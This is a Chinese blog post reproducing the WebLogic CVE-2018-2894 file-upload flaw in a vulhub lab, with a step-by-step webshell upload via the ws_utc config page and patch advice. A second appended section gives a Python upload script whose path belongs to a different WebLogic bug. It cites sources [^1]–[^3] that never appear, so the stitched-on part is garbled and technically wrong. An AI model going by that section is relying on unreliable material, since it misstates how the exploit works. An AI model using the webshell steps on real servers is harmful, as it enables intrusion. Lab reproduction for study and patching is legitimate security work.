Weblogic文件上传漏洞复现(CVE-2018-2894)

漏洞简介:

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

影响版本:

Weblogic 10.3.6.0,Weblogic 12.1.3.0,Weblogic 12.2.1.2,Weblogic 12.2.1.3

漏洞环境:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

运行:docker-compose up -d启动weblogic 12.2.1.3
环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面
在这里插入图片描述
执行docker-compose logs | grep password可查看管理员密码:XtmuO9q0
在这里插入图片描述
登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项:
在这里插入图片描述

漏洞复现:

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
在这里插入图片描述
点击安全–>添加,随便输入一个名字密码,点击提交;
在这里插入图片描述
使用burp抓取数据包,可以看见返回的数据包,其中有时间戳:
在这里插入图片描述
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]
[文件名],即可执行webshell:
上面上传了好多个木马都执行不了,最后还是用一句话木马试试,使用工具连接木马:
在这里插入图片描述
触发条件:
1.需要知道部署应用的web目录。
2.ws_utc/config.do在开发模式下无需认证,在生产模式下需要认证。

修复建议:

1.设置Config.do、begin.do页面登录授权后访问;

2.IPS等防御产品可以加入相应的特征;

3.升级到官方最新版本
参考连接:
http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2018-2894

### CVE-2018-2894 WebLogic 文件上传漏洞复现 #### 漏洞概述 CVE-2018-2894 是 Oracle WebLogic Server 中的一个任意文件上传漏洞。该漏洞允许攻击者通过特定路径上传恶意文件到服务器上并执行代码[^1]。 #### 环境准备 为了成功复现漏洞,需搭建受影响版本的 WebLogic 环境。以下是具体步骤: 1. **安装目标环境** 使用 Docker 镜像或其他方式部署易受攻击的 WebLogic 版本(如 12.1.3 和 12.2.1)。可以通过官方文档或第三方资源找到对应的镜像地址[^2]。 2. **启动服务** 启动 WebLogic 实例,并确认其正常运行。通常可通过浏览器访问 `http://<IP>:7001/console` 来验证管理控制台是否可用。 #### POC 获取与使用 POC(Proof of Concept)用于测试漏洞是否存在。对于 CVE-2018-2894,常见的方法如下: 1. 构造 HTTP 请求包,指定 `/console/css/%252e%252e%252fconsole.portal` 路径作为上传入口。 2. 准备一个恶意 JSP 文件(例如 shell.jsp),并通过工具发送 POST 请求完成上传操作。 3. 访问已上传的文件路径以触发命令执行功能。 下面是一个简单的 Python 脚本实现自动化流程: ```python import requests target_url = "http://<TARGET_IP>:7001" file_path = "/console/css/%252e%252e%252fconsole.portal" headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = open('shell.jsp', 'rb').read() response = requests.post(f"{target_url}{file_path}", headers=headers, data=data) if response.status_code == 200: print("[+] File uploaded successfully!") else: print("[-] Failed to upload file.") ``` 注意:上述脚本仅为演示用途,请勿非法使用! #### 漏洞修复建议 针对此类安全问题,应及时升级至最新补丁版本或者应用官方发布的热修复方案。此外还可以采取以下措施加强防护效果[^3]: - 关闭不必要的端口和服务; - 设置严格的防火墙策略限制外部连接; - 定期审查日志记录发现异常行为。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值